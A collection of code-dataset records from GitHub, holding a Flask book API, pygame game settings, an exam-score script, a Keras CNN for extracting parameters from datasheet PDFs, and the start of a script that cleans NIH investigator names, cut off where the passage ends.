{"seq_id":"31249456854","text":"from flask import request, jsonify\nfrom flask_app import app\nfrom flask_app.models import book\n\n@app.route('/api/book/new', methods=['POST'])\ndef create_book():\n    formData = request.get_json()\n\n    data = {\n        \"title\": formData[\"title\"],\n        \"author\": formData[\"author\"]\n    }\n\n    book.Book.create_book(data)\n\n    return jsonify(message = \"Book successfully added\")\n\n@app.route('/api/books')\ndef dashboard():\n\n    all_books = book.Book.get_all_books()\n\n    return jsonify(all_books)\n\n@app.route('/api/book/<int:id>')\ndef show_book(id):\n    \n    data = {\n        \"id\": id,\n    }\n\n    one_book = book.Book.get_one_book(data)\n\n    return  jsonify(one_book)\n\n@app.route('/api/book/<int:id>/edit', methods = ['POST'])\ndef edit_book(id):\n    formData = request.get_json()\n\n    data = {\n        \"id\": id,\n        \"title\": formData[\"title\"],\n        \"author\": formData[\"author\"]\n    }\n\n    book.Book.update_book(data)\n\n    return jsonify(message = \"Book successfully updated\")\n\n@app.route('/api/book/<int:id>/delete', methods = ['DELETE'])\ndef delete_book(id):\n\n    data = {\n        \"id\": id\n    }\n\n    book.Book.destroy_book(data)\n\n    return jsonify(message = \"Book successfully deleted\")","repo_name":"agruezo/BookStack-REACT-PYTHON","sub_path":"server/flask_app/controllers/books.py","file_name":"books.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"2459209917","text":"# game options/settings\nTITLE = \"Jumping coney\"\nWIDTH =  900# 480\nHEIGHT = 700 #600\nFPS = 60\nFONT_NAME = 'arial'\nHS_FILE = \"hightscore.txt\"\nSPRITESHEET = \"spritesheet_jumper.png\"\nBG_IMAGE = \"bg_layer1.png\"\n# ICON = \"icon_lifes.png\"\nICON = \"icon.png\"\n\n# define colors\n# find more color code : http://www.0to255.com/\nWHITE  = (255, 255, 255)\nBLACK  = (0, 0, 0)\nRED    = (255, 0, 0)\nGREEN  = (0, 255, 0)\nBLUE   = (0, 0, 255)\nYELLOW = (255, 255, 0)\nLIGHTBLUE = (0, 155, 155)\nBGCOLOR = LIGHTBLUE\n\n# Player properties\nPLAYER_ACC = 0.85\nPLAYER_FRICTION = -0.12\nPLAYER_GRAV = 0.8\nPLAYER_JUMP = 22\n\nPLATFORM_LIST = [\n    (0, HEIGHT - 45),\n    (WIDTH / 3, 550),\n    (WIDTH - 300, 450), \n    (110, HEIGHT - 270),\n    (220, 250),\n    (610, 125),\n    (750, 75),\n    (50, 50), \n    (WIDTH - 450, 20)\n]\n\n\n# game properties\nBOOST_POWER = 60\nPOW_SPAWN_PCT = 7 + 10 # PCT = pacentage\nSPIKE_SPAWN_PCT = 50\nGRASS_SPAWN_PCT = 50\nCACTUS_SPAWN_PCT = 50\nMOB_RREQ = 5000\n\n# layer properties\nPLAYER_LAYER = 2\nPLATFORM_LAYER = 1\nPOW_LAYER = 1\nMOB_LAYER = 2\nCLOUD_LAYER = 0\nENIMES_LAYER = 2\nGRASS_LAYER = 2\n\n# score properties\nGOLD_POINTS = 100\nSILVER_POINTS = 50\nBRONZE_POINTS = 25\n\nLOST_POINTS_BY_HIT_CACTUS = 1\nLOST_POINTS_BY_HIT_GRASS = 1\nLOST_POINTS_BY_HIT_SPIKEMAN = 2\nLOST_POINTS_BY_HIT_WINGMAN = 20\n","repo_name":"menon92/Jumping-Coney","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"1070933194","text":"def findHighestAndLowest(namesList, scoresList):\n    high_var = 0\n    low_var = 999\n    high_index = 0\n    low_index = 0\n    for i, score in enumerate(scoresList):\n        if score > high_var:\n            high_var = score\n            high_index = i\n        if score < low_var:\n            low_var = score\n            low_index = i\n    print(\"Highest:\", namesList[high_index], high_var)\n    print(\"Lowest:\", namesList[low_index], low_var)\nfilename = 'data.txt' # Please change this to the path of your file\nlastNames = []\nexamScores = []\nwith open(filename) as file:\n    for line in file:\n        name, score = line.strip().split()\n        lastNames.append(name)\n        examScores.append(int(score))\nfindHighestAndLowest(lastNames, examScores)","repo_name":"KyleStewartt/CIS106-PS12","sub_path":"PS12P3.py","file_name":"PS12P3.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"20982116758","text":"from keras.models import Sequential\r\nfrom keras.layers import Dense\r\nfrom keras.layers import Conv2D\r\nfrom keras.models import model_from_json\r\nfrom sklearn.model_selection import train_test_split\r\nimport keras\r\nimport numpy\r\n\r\nimport pickle\r\n\r\nimport nltk\r\nfrom nltk.corpus import stopwords\r\nfrom nltk.tokenize import word_tokenize\r\n\r\nfrom pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter\r\nfrom pdfminer.converter import TextConverter\r\nfrom pdfminer.layout import LAParams\r\nfrom pdfminer.pdfpage import PDFPage\r\nfrom io import StringIO\r\nimport os\r\n\r\ndef remake(single_data, x_list): #DEBUG ONLY\r\n    x_max = len(single_data[0])\r\n    y_max = len(single_data)\r\n\r\n    output = []\r\n\r\n    for word_depth in range(x_max):\r\n        found = False\r\n        for unique_words in range(y_max):\r\n            if(single_data[unique_words][word_depth] == 1):\r\n                found = True\r\n                output.append(x_list[unique_words])\r\n                break\r\n        if(not found):\r\n            output.append(\"N\\A\")\r\n    print(output)\r\n    print(output[4:8])\r\n    return\r\n\r\n\r\ndef clean(temp_raw_data):   \r\n    temp_raw_data = temp_raw_data.lower()\r\n\r\n    raw_data = \"\"\r\n    for char in temp_raw_data:\r\n        if(ord(char) < 128):\r\n            raw_data += char\r\n        else:\r\n            raw_data += \" \"\r\n\r\n    raw_data = raw_data.strip()\r\n\r\n    #########################################################\r\n    long_string = \"\"\r\n    start = 0\r\n    space_count = 0\r\n    last_char = \"\"\r\n    for char_num, character in enumerate(raw_data): #remove tables/diagrams ##TODO IMPROVE\r\n        if(character == \"\\n\" and last_char == \"\\n\"):\r\n            if(space_count >= 2):\r\n               long_string += raw_data[start:char_num]\r\n            start = char_num + 1\r\n            space_count = 0\r\n        elif(character == \" \"):\r\n            space_count += 1\r\n        last_char = character\r\n    ###########################################################\r\n\r\n\r\n\r\n    tokens = word_tokenize(raw_data)\r\n    #print(len(tokens))\r\n\r\n\r\n    ###################################################################\r\n    last_item = \"\"\r\n    for item_num, item in enumerate(tokens): #fix hyphenated words\r\n        if(len(last_item) > 1 and last_item[-1] == \"-\"):\r\n            item = last_item[:-1] + item\r\n            del tokens[item_num - 1]\r\n        last_item = item\r\n    #################################################################\r\n\r\n\r\n\r\n    ############Replace numbers with NUMBER###########################\r\n    number_array = []\r\n    for item_num, item in enumerate(tokens): #fix hyphenated words\r\n        has_num = False\r\n        alpha_count = 0\r\n        for char in item:\r\n            if(char.isdigit()):\r\n                has_num = True\r\n            elif(char.isalpha()):\r\n                alpha_count += 1\r\n\r\n        if(has_num and alpha_count < 2):\r\n            number_array.append([item_num, item])\r\n            tokens[item_num] = \"NUMBER\"\r\n\r\n    return tokens, number_array\r\n    ##################################################################\r\n\r\ndef convert(fname):\r\n    print(\"PDF START: \", fname, \" -------------------------------------------------------------------------------------\")\r\n    output = StringIO()\r\n    manager = PDFResourceManager()\r\n    converter = TextConverter(manager, output, 'utf-8', laparams=LAParams())\r\n    interpreter = PDFPageInterpreter(manager, converter)\r\n\r\n    with open(fname, 'rb') as infile:\r\n        for page_num, page in enumerate(PDFPage.get_pages(infile)):\r\n            if(page_num < 1): #first x page(s)\r\n                interpreter.process_page(page)\r\n                text = output.getvalue()\r\n    converter.close()  \r\n    output.close\r\n    return text \r\n\r\ndef arrays_creater(single_pdf, x_list, output_window, type_array):\r\n    split_array = []\r\n\r\n    single_array2D = []      \r\n    for word in x_list:\r\n        single_array1D = [0 for x in range(len(single_pdf))]\r\n        for item_count in range(0,len(single_pdf)):\r\n            if(single_pdf[item_count] == word):\r\n                single_array1D[item_count] = 1\r\n        single_array2D.append(single_array1D)   \r\n\r\n    massive_array = []\r\n    for iter in range(0,len(single_pdf)-11,output_window):\r\n        temp_array2D = []\r\n        for word in x_list:\r\n            temp_array1D = [0 for x in range(12)]\r\n            for item_count in range(0,12):\r\n                if(single_pdf[item_count+iter] == word):\r\n                    temp_array1D[item_count] = 1\r\n            temp_array2D.append(temp_array1D)     \r\n        massive_array.append([temp_array2D, type_array])\r\n    return massive_array\r\n\r\ndef phrase_locator(input_data, many_pharses, par_num, output_window): #one pdf\r\n\r\n    temp_array = [-1 for x in range(len(input_data))]\r\n    for pharses in many_pharses:\r\n        for pharse in pharses[1:]:\r\n            pharse = pharse.lower()\r\n            pharse = pharse.strip()\r\n                \r\n            raw_pharse = \"\"\r\n            for char in pharse:\r\n                if(ord(char) < 128):\r\n                    raw_pharse += char\r\n                else:\r\n                    raw_pharse += \" \"\r\n\r\n            tokens = word_tokenize(raw_pharse)\r\n\r\n            useful_phrase = False #Actually fix cases like 18-bit TODODODOODODODOD0\r\n            for item_num, item in enumerate(tokens): #modify the pharse to be in the same format\r\n                has_num = False\r\n                alpha_count = 0\r\n                for char in item:\r\n                    if(char.isdigit()):\r\n                        has_num = True\r\n                    elif(char.isalpha()):\r\n                        alpha_count += 1\r\n\r\n                if(has_num and alpha_count < 2):\r\n                    useful_phrase = True\r\n                    tokens[item_num] = \"NUMBER\"\r\n            \r\n            if (useful_phrase and len(tokens) >= 3):\r\n                num_loc = tokens.index(\"NUMBER\")\r\n                subtract_len = (len(tokens)) - num_loc\r\n                match = 0        \r\n                for word_count, word in enumerate(input_data):\r\n                    if(match >= len(tokens)):\r\n                        temp_array[word_count - subtract_len] = pharses[0]\r\n                        match = 0\r\n                        print(\"PHRASE: \", tokens)\r\n                        print(word_count - subtract_len, \" \", pharses[0])\r\n                    else:\r\n                        if(tokens[match] in input_data[word_count]):\r\n                            match += 1\r\n                        else:\r\n                            match = 0\r\n\r\n    massive_array = []\r\n    center_finder = int((12-output_window)/2)\r\n    for iter in range(center_finder,len(temp_array)-7,output_window): #TODO 7 IS BAD FIND A GOOD NUMBER WITH OUTPUTWINDOW INVOLVED\r\n        small_array = [[0 for x in range(output_window)] for y in range(par_num)]\r\n        for item_count in range(0,output_window):\r\n            par_identify = temp_array[item_count+iter]\r\n            if(par_identify > -1):\r\n                small_array[par_identify][item_count] = 1  \r\n        massive_array.append(small_array)\r\n\r\n    return massive_array\r\n\r\ndef conversion(retrieve_labels, parameter_num):\r\n    print(retrieve_labels)\r\n    keys = [\"Input Supply Voltage Range\", \"Resolution\", \"Sampling Frequency\", \"Temperature\", \"SNR\",\r\n            \"INL\", \"DNL\", \"Conversion Rate\", \"Input Voltage\", \"Output Voltage\",\r\n            \"Load Current\", \"Input Capacitance Range\", \"Output Frequency\", \"Reference Frequency\", \"Bandwidth\",\r\n            \"Dropout Voltage\", \"Quiescent Current in Shutdown\", \"PSRR\", \"Output Current\", \"RMS\",\r\n            \"Row\", \"Column\", \"Access Time\", \"Temperature Range\", \"Temperature Resolution\"]\r\n    mod_labels = []\r\n    for key_num, key in enumerate(keys):\r\n        if(key_num >= parameter_num):\r\n            break\r\n        if(key in retrieve_labels):\r\n            mod_labels.append([key_num] + retrieve_labels[key])\r\n    return mod_labels\r\n\r\ndef reversion(number):\r\n    keys = [\"Input Supply Voltage Range\", \"Resolution\", \"Sampling Frequency\", \"Temperature\", \"SNR\",\r\n            \"INL\", \"DNL\", \"Conversion Rate\", \"Input Voltage\", \"Output Voltage\",\r\n            \"Load Current\", \"Input Capacitance Range\", \"Output Frequency\", \"Reference Frequency\", \"Bandwidth\",\r\n            \"Dropout Voltage\", \"Quiescent Current in Shutdown\", \"PSRR\", \"Output Current\", \"RMS\",\r\n            \"Row\", \"Column\", \"Access Time\", \"Temperature Range\", \"Temperature Resolution\"]\r\n    return keys[number]\r\n\r\n\r\n\r\n#with open(r\"C:\\Users\\Zach\\Downloads\\training_set_ADC\\3ad4002-4006-4010.p\", \"rb\") as file:\r\n#        temp = (pickle.load(file))\r\n#        print(\"Here: \", temp)\r\n#stop = input()\r\n#############START############################\r\nunique_words = 2500\r\noutput_window = 4 #need to change crop_amount manually to change this\r\nparameter_num = 25 #MAX 25\r\nreConvert = False\r\nreBuild = True\r\n\r\nType = [\"ADC\", \"CDC\", \"DCDC\", \"PLL\", \"LDO\", \"SRAM\", \"Temp_Sen\"] \r\n\r\nfolder_locs = [os.path.join(r\"C:\\Users\\Zach\\Downloads\\Text_extract\", Type_iter, \"PDFs\") for Type_iter in Type]\r\nresult_locs = [os.path.join(r\"C:\\Users\\Zach\\Downloads\\Text_extract\", Type_iter, \"Results\") for Type_iter in Type]\r\n\r\n\r\npdf_file_locs = [] #2D array of pdf file locations\r\n\r\nfull_type_array = []\r\nfor folder_iter, folder in enumerate(folder_locs):\r\n    type_array = [0 for x in range(len(Type))]\r\n    type_array[folder_iter] = 1\r\n    for file in os.listdir(folder):\r\n        pdf_file_locs.append(os.path.join(folder, file))\r\n        full_type_array.append(type_array)\r\n\r\nretrieve_labels = []\r\nfor folder in result_locs:\r\n    for file in os.listdir(folder):\r\n        with open(os.path.join(folder, file), \"rb\") as file_loc:\r\n            retrieve_labels.append(conversion(pickle.load(file_loc), parameter_num))\r\nprint(retrieve_labels)\r\n\r\nif(reConvert):\r\n    raw_data = []\r\n    for pdf_file in pdf_file_locs:\r\n        try:\r\n            raw_data.append(convert(pdf_file))\r\n        except:\r\n            print(\"FAIL\") #If one fails they entire program will break\r\n\r\n    with open(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\raw_data.txt\", \"wb\") as file:\r\n        pickle.dump(raw_data, file)\r\n    with open(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\full_type_array.txt\", \"wb\") as file:\r\n        pickle.dump(full_type_array, file)\r\nelse:\r\n    with open(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\raw_data.txt\", \"rb\") as file:\r\n        raw_data = pickle.load(file)\r\n    with open(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\full_type_array.txt\", \"rb\") as file:\r\n        full_type_array = pickle.load(file)\r\n\r\n#print(full_type_array)\r\n\r\nif(reBuild):\r\n    if(1): #temp\r\n        ##############################################################find which words to use\r\n        word_list = []\r\n        clean_data = []\r\n        temp_nums_array = []\r\n\r\n\r\n\r\n        for raw in raw_data:\r\n            temp_clean, temp_nums = clean(raw)\r\n            clean_data.append(temp_clean)\r\n            temp_nums_array += temp_nums\r\n            word_list += temp_clean\r\n\r\n\r\n        freq = (nltk.FreqDist(word_list)).most_common(unique_words)\r\n        x_list = []\r\n        for tup in freq:\r\n            x_list.append(str(tup[0]))\r\n        print(x_list)\r\n        #################################################################\r\n\r\n        data = []\r\n        labels = []\r\n        for item_count, item in enumerate(clean_data):\r\n            labels += phrase_locator(item, retrieve_labels[item_count], parameter_num, output_window)\r\n            data += arrays_creater(item, x_list, output_window, full_type_array[item_count])\r\n        #print(clean_data)\r\n        #print(labels)\r\n        labels = numpy.array(labels)\r\n        \r\n\r\n        \r\n        \r\n\r\n        ##########trim data########################################################\r\n        pos_data_buffer = 0\r\n        trimmed_labels = []\r\n        trimmed_data = []\r\n        for iter_num, iter in enumerate(labels): #1 useful : 7 useless\r\n            if(1 in iter):\r\n                pos_data_buffer += 15 #Change this for debugging\r\n                trimmed_labels.append(iter)\r\n                trimmed_data.append(data[iter_num])\r\n            else:\r\n                if(pos_data_buffer >= 1):\r\n                    trimmed_labels.append(iter)\r\n                    trimmed_data.append(data[iter_num])\r\n                    pos_data_buffer -= 1\r\n\r\n        trimmed_labels = numpy.array(trimmed_labels)\r\n        trimmed_data = numpy.array(trimmed_data)\r\n        #######################################################################    \r\n        numpy.save(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\DATA\", trimmed_data)\r\n        numpy.save(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\LABELS\", trimmed_labels)\r\n    else:\r\n        trimmed_data = numpy.load(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\DATA.npy\")\r\n        trimmed_labels = numpy.load(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\LABELS.npy\")\r\n\r\n\r\n\r\n    #print(trimmed_labels)\r\n    x_train, x_valid, y_train, y_valid = train_test_split(trimmed_data, trimmed_labels, test_size = 0.2, shuffle = True)\r\n\r\n    double_train = [[],[]]\r\n    for array in x_train:\r\n        double_train[0].append(array[0])\r\n        double_train[1].append(array[1])\r\n\r\n    double_train[0] = numpy.expand_dims(numpy.array(double_train[0]), axis = 3)\r\n    double_train[1] = numpy.array(double_train[1])\r\n\r\n\r\n    double_valid = [[],[]]\r\n    for array in x_valid:\r\n        double_valid[0].append(array[0])\r\n        double_valid[1].append(array[1])\r\n\r\n    double_valid[0] = numpy.expand_dims(numpy.array(double_valid[0]), axis = 3)\r\n    double_valid[1] = numpy.array(double_valid[1])\r\n\r\n\r\n    #crop_amount = int((12 - output_window) / 2) #I HAVE TO HARD CODE THIS TO SAVE THE MODEL\r\n    print(\"Starting Convolution\") \r\n\r\n    keras_input = keras.layers.Input(shape=(unique_words,12,1), name='keras_input')\r\n    keras_input2 = keras.layers.Input(shape = (len(Type),), name='keras_input2' )\r\n\r\n\r\n    #########Type#########\r\n    Type_shutdown_net = (Dense(parameter_num, activation='sigmoid'))(keras_input2)\r\n\r\n    pharse_check_a = Conv2D(512, kernel_size=(unique_words, 2), strides = (1,1), activation='relu')(keras_input)\r\n    pharse_check_a2 = keras.layers.MaxPooling2D(pool_size=(1,11), strides = (1,1))(pharse_check_a) #TODO TRY WITHOUT\r\n    pharse_check_a3 = keras.layers.Flatten()(pharse_check_a2) \r\n\r\n    pharse_check_b = Conv2D(512, kernel_size=(unique_words, 4), strides = (1,1), activation='relu')(keras_input)\r\n    pharse_check_b2 = keras.layers.MaxPooling2D(pool_size=(1,9), strides = (1,1))(pharse_check_b)\r\n    pharse_check_b3 = keras.layers.Flatten()(pharse_check_b2)\r\n\r\n    pharse_check_c = Conv2D(512, kernel_size=(unique_words, 6), strides = (1,1), activation='relu')(keras_input)\r\n    pharse_check_c2 = keras.layers.MaxPooling2D(pool_size=(1,7), strides = (1,1))(pharse_check_c)\r\n    pharse_check_c3 = keras.layers.Flatten()(pharse_check_c2)\r\n\r\n    pharse_check_d = Conv2D(512, kernel_size=(unique_words, 8), strides = (1,1), activation='relu')(keras_input)\r\n    pharse_check_d2 = keras.layers.MaxPooling2D(pool_size=(1,5), strides = (1,1))(pharse_check_d)\r\n    pharse_check_d3 = keras.layers.Flatten()(pharse_check_d2)\r\n\r\n    merged_phase_check = keras.layers.concatenate([pharse_check_a3, pharse_check_b3, pharse_check_c3, pharse_check_d3, keras_input2], axis=-1)\r\n    pharse_check3 = (Dense(2048, activation='relu'))(merged_phase_check)\r\n    pharse_check4 = (Dense(2048, activation='relu'))(pharse_check3) \r\n    pharse_check5 = (Dense(parameter_num, activation='sigmoid'))(pharse_check4)\r\n    pharse_check6 = keras.layers.multiply([Type_shutdown_net,pharse_check5])\r\n    #########Type#########\r\n\r\n\r\n    #########POS#############\r\n    number_loc = keras.layers.Lambda(lambda input : input[:,0,4:12-4,0])(keras_input) #REQUIRE A NUMBER/// This needs NUMBER to be in the top slot //THE 4s should be crop amount\r\n\r\n    cropped_data = keras.layers.Cropping2D(cropping=((0, 0), (4, 4)))(keras_input) #removes data outside of the output window //The 4s should be crop amont\r\n    real_data_a = Conv2D(256, kernel_size=(unique_words, 1), strides = (1,1), activation='relu')(cropped_data)\r\n    real_data_a2 = keras.layers.Flatten()(real_data_a)\r\n    real_data_b = Conv2D(256, kernel_size=(unique_words, 2), strides = (1,1), activation='relu')(cropped_data)\r\n    real_data_b2 = keras.layers.Flatten()(real_data_b)\r\n    real_data_c = keras.layers.Flatten()(cropped_data)\r\n    real_data_c2 = (Dense(2048, activation='relu'))(real_data_c)\r\n\r\n    large_data = Conv2D(512, kernel_size=(unique_words, 4), activation='relu')(keras_input)\r\n    large_data2 = keras.layers.Flatten()(large_data) #input not cropped\r\n\r\n    merged_phase_check = keras.layers.concatenate([real_data_a2, real_data_b2, real_data_c2, large_data2], axis=-1)\r\n    real_data3 = (Dense(1024, activation='relu'))(merged_phase_check)\r\n    merged_phase_check2 = keras.layers.concatenate([real_data3, pharse_check6, keras_input2], axis=-1)\r\n\r\n    real_data4 = (Dense(512, activation='relu'))(merged_phase_check2) \r\n    real_data5 = (Dense(512, activation='relu'))(real_data4) \r\n    real_data6 = (Dense(output_window, activation='sigmoid'))(real_data5)\r\n    real_data7 = keras.layers.multiply([number_loc,real_data6])\r\n    #########POS############\r\n\r\n    exact_loc = keras.layers.RepeatVector(parameter_num)(real_data7)\r\n    type = keras.layers.RepeatVector(output_window)(pharse_check6)\r\n    type2 = keras.layers.Permute((2,1))(type)\r\n\r\n    merged = keras.layers.multiply([exact_loc,type2])\r\n\r\n    model = keras.models.Model(inputs=[keras_input, keras_input2], outputs=merged)\r\n    \r\n\r\n    model.compile(loss=keras.losses.binary_crossentropy, optimizer = 'adadelta', metrics=['accuracy'])\r\n    model.fit({'keras_input': double_train[0], 'keras_input2' : double_train[1]}, y_train, validation_data = ({'keras_input': double_valid[0], 'keras_input2' : double_valid[1]}, y_valid), epochs = 6000, batch_size = 256)\r\n\r\n\r\n    # Save the weights\r\n    model.save_weights(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\model_weights.h5\")\r\n     # Save the model architecture\r\n    with open(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\model_architecture.json\", 'w') as f:\r\n        f.write(model.to_json())\r\n    with open(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\x_list.txt\", \"wb\") as file:\r\n        pickle.dump(x_list, file)\r\n    numpy.save(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\x_valid0\", double_valid[0])\r\n    numpy.save(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\x_valid1\", double_valid[1])\r\n    numpy.save(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\y_valid\", y_valid)\r\nelse:\r\n    with open(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\model_architecture.json\", 'r') as f:\r\n        model = model_from_json(f.read())\r\n    model.load_weights(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\model_weights.h5\")\r\n    with open(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\x_list.txt\", \"rb\") as file:\r\n        x_list = pickle.load(file)\r\n    double_valid = [numpy.load(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\x_valid0.npy\"), numpy.load(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\x_valid1.npy\")]\r\n    y_valid = numpy.load(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\y_valid.npy\")\r\n\r\nmodel.summary()\r\n\r\n#################TEST###############\r\nfinal_results = model.predict(double_valid)\r\n\r\nTP = 0\r\nTN = 0\r\nFP = 0\r\nFN = 0\r\nfor sr_num, single_result in enumerate(final_results):\r\n    large_index = sr_num * output_window\r\n    print(\"------------------------------------ \" + str(sr_num))\r\n    \r\n    for par_num, par in enumerate(single_result):\r\n        for res_num, result in enumerate(par):\r\n            if((result >= .5 and y_valid[sr_num][par_num][res_num] == 1)):\r\n                print(\"SUCCESS\")\r\n                TP += 1\r\n            elif((result < .5 and y_valid[sr_num][par_num][res_num] == 1)):\r\n                print(\"FAIL_FN\")\r\n                FN += 1\r\n                #print(single_result)\r\n                #print(y_valid[sr_num])\r\n                #print(\"\")\r\n            elif(result >= .5 and y_valid[sr_num][par_num][res_num] == 0):\r\n                print(\"FAIL_FP\")\r\n                FP += 1\r\n                #print(single_result)\r\n                #print(y_valid[sr_num])\r\n                #print(\"\")\r\n            else:\r\n                TN += 1\r\n\r\n\r\nprint(\"Precision: \", TP/(TP+FP))\r\nprint(\"Recall: \", TP/(TP+FN))\r\nprint(\"Accuracy: \", (TP+TN)/(TP+TN+FP+FN))\r\n\r\nwhile(1):\r\n    num = int(input(\"Enter a number: \"))\r\n    if(num == -1):\r\n        break\r\n    print(Type[numpy.argmax(double_valid[1][num])])\r\n    print(y_valid[num])\r\n    remake(double_valid[0][num], x_list)\r\n    for item_iter, item in enumerate(final_results[num]):\r\n        print(reversion(item_iter), \" \", item)\r\n    print(\"\")\r\n    \r\n\r\n####################################\r\n\r\n\r\n#########DEBUG##################################\r\nloc = \"124si3500\"\r\ntest_pdf = os.path.join(r\"C:\\Users\\Zach\\Downloads\\Text\\DCDC\", (loc + \".pdf\")) #other location\r\n#test_pdf = os.path.join(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\ADC\\PDFs\", (loc + \".pdf\"))\r\ntest_clean, temp_nums = clean(convert(test_pdf))\r\n\r\nprint(test_clean)\r\ntest_data = arrays_creater(test_clean, x_list, output_window, [1,0,0,0,0,0,0])\r\n\r\ndouble_final = [[],[]]\r\nfor array in test_data:\r\n        double_final[0].append(array[0])\r\n        double_final[1].append(array[1])\r\n\r\ndouble_final[0] = numpy.expand_dims(numpy.array(double_final[0]), axis = 3)\r\ndouble_final[1] = numpy.array(double_final[1])\r\n\r\nresults = model.predict(double_final)\r\n\r\n#print(test_clean)\r\n\r\nfirst_ele = [i[0] for i in temp_nums]\r\n\r\n#with open(os.path.join(r\"C:\\Users\\Zach\\Downloads\\Text_extract\\ADC\\Results\", (loc + \".p\")), \"rb\") as file_loc:\r\n#    test_labels = pickle.load(file_loc)\r\n#print(test_labels)\r\n\r\n#test_labels = conversion(test_labels, parameter_num)\r\n#phrase_locator(test_clean, test_labels, parameter_num, output_window) #here for debug only\r\n\r\n\r\nfor sr_num, single_result in enumerate(results):\r\n    large_index = sr_num * 4\r\n    for par_num, par in enumerate(single_result):\r\n        for res_num, result in enumerate(par):\r\n            if(result > .5):\r\n                index = first_ele.index(large_index + res_num + 4) #need to offset\r\n                print(reversion(par_num), \" \", temp_nums[index])\r\n#########DEBUG##################################\r\n\r\n\r\n\r\n","repo_name":"idea-fasoc/datasheet-scrubber","sub_path":"src/text_extraction/cnn/cnn_text_extractor.py","file_name":"cnn_text_extractor.py","file_ext":"py","file_size_in_byte":22048,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"47"}
{"seq_id":"33339756324","text":"##Question 2: Pubmed Publications\r\n\r\nimport numpy as np\r\nimport urllib\r\nfrom bs4 import BeautifulSoup\r\nimport pandas as pd\r\n#from selenium import webdriver\r\n#from selenium.webdriver.support.ui import WebDriverWait\r\n#from time import sleep\r\nimport re\r\n\r\n\r\n\r\naca_raw = pd.read_csv(r'''C:\\Users\\Bernard\\Desktop\\big data\\HW1\\NIHHarvard.csv''')\r\n#print(aca_raw.columns)\r\naca_data = aca_raw.loc[:, ['Activity', 'Contact PI / Project Leader']]     #extract columns\r\nidx_f = aca_data.loc[:,'Activity'].str[0] == 'F'    #indexing specific rows as requrired\r\nidx_t = aca_data.loc[:,'Activity'].str[0] == 'T'\r\nidx = idx_f | idx_t\r\n#print(aca_data.loc[-idx,:])\r\nauthor = aca_data.loc[-idx,'Contact PI / Project Leader']    #extract data \r\nauthor_unique = np.unique(author.str.strip())    #remove duplicate names. strip delete leading/trailing spaces\r\n\r\n\r\n\r\n#for test use\r\n'''\r\na = \"AJS JORDAN K HILL S.\"\r\na_spt = a.split()\r\nn = len(a_spt)\r\na_no_mid_list = a_spt[0:2]\r\na_no_mid = \" \".join(a_no_mid_list)\r\na_out = re.sub('\\s[A-Z]{1}.?\\s|\\s[A-Z]{1}.?$', ' ', a_no_mid)\r\nprint(a_out)\r\n\r\n\r\nb= \"SMITH FAWZI, FREEMAN\"\r\nb_comma_spt = b.split(sep = \",\")\r\nb_lst_name_len = len( b_comma_spt[0].split() )\r\nprint(b_lst_name_len)\r\n'''        \r\n\r\ndef chk_abnormal_lst_name(name):    \r\n#function to check names with abnormal last names\r\n    \r\n    name_comma_spt = name.split(sep = \",\")    #split string by \",\"\r\n    lst_name_len = len( name_comma_spt[0].split() )   \r\n #get string before \",\" as last names. solit last names by space and count words\r\n    if lst_name_len >=2:   \r\n        return True\r\n    else:    #if more than 1 words in last name, then something is wrong, mark it\r\n        return False\r\n\r\n#print(chk_abnormal_lst_name(\"SMITH FAWZI, FREEMAN\"))  #test function chk_abnormal_lst_name\r\n#print(chk_abnormal_lst_name(\"SMITH, FREEMAN\"))\r\n\r\nab_lst_name_bln =[]\r\nfor author in author_unique:    #get names with abnormal last names\r\n    ab_lst_name_bln.append(chk_abnormal_lst_name(author))\r\n\r\nab_name = author_unique[ab_lst_name_bln]    #name list of abnormal last names\r\nnormal_name = author_unique[np.logical_not(ab_lst_name_bln)]    #name list of normal last names\r\n\r\ndef rm_initial_mid(name) :    \r\n#function to remove middle name and initials\r\n    \r\n    name_spt = name.split()\r\n    #name_wd_cnt = len(name_spt)\r\n    name_no_mid_list = name_spt[0:2]\r\n    name_no_mid = \" \".join(name_no_mid_list)\r\n    name_out = re.sub('\\s[A-Z]{1}.?\\s|\\s[A-Z]{1}.?$', ' ', name_no_mid)\r\n    return name_out.strip()\r\n\r\n#print(rm_initial_mid(\"AJS, JORDAN K HILL S.\"))  #test function rm_initial_mid\r\n    \r\nauthor_output = []\r\nfor au in normal_name:    #delete midlle names and intitials\r\n    m = len(au.split())\r\n    if m >=3:\r\n        au = rm_initial_mid(au)\r\n    author_output.append(au)\r\n\r\nauthor_name_lf = np.unique(author_output)\r\nprint((author_name_lf == author_output).all())    #check names that only differs by middle name\r\nprint(np.unique(aca_raw.iloc[:,0]))    #make sure all affliation values are the same\r\n\r\n\r\n##replicate the example case in class using python\r\n'''\r\npage = 1\r\ntopic = \"lasso shrinkage\"\r\n#pub = 'http://www.ncbi.nlm.nih.gov/pubmed/'\r\npub_url = 